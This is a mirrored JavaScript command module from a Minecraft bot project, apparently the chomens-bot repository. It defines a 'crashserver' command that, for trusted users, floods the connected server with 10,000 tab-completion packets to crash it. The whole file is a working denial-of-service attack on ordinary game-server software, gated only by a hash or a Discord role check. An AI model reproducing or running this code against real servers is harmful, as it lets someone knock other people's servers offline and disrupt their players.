mirror of
https://github.com/ChomeNS/chomens-bot-mc.git
synced 2024-11-14 10:44:55 -05:00
34 lines
875 B
JavaScript
34 lines
875 B
JavaScript
|
/* eslint-disable max-len */
|
||
|
|
||
|
module.exports = {
|
||
|
name: 'crashserver',
|
||
|
alias: [],
|
||
|
description: 'Crashes the server',
|
||
|
usage: '<hash>',
|
||
|
trusted: 1,
|
||
|
execute: function(bot, username, usernameraw, sender, prefix, args) {
|
||
|
if (args[0] === bot.hash) {
|
||
|
for (let i = 0; i < 10000; i++) {
|
||
|
bot.write('tab_complete', {
|
||
|
transactionId: 0,
|
||
|
text: '/',
|
||
|
});
|
||
|
}
|
||
|
} else {
|
||
|
throw new Error('Invalid hash');
|
||
|
}
|
||
|
},
|
||
|
discordExecute: function(bot, username, usernameraw, sender, prefix, args, channeldc, message) {
|
||
|
if (message.member.roles.cache.some((role) => role.name === 'Trusted')) {
|
||
|
for (let i = 0; i < 10000; i++) {
|
||
|
bot.write('tab_complete', {
|
||
|
transactionId: 0,
|
||
|
text: '/',
|
||
|
});
|
||
|
}
|
||
|
} else {
|
||
|
throw new Error('You\'re not in the trusted role!');
|
||
|
}
|
||
|
},
|
||
|
};
|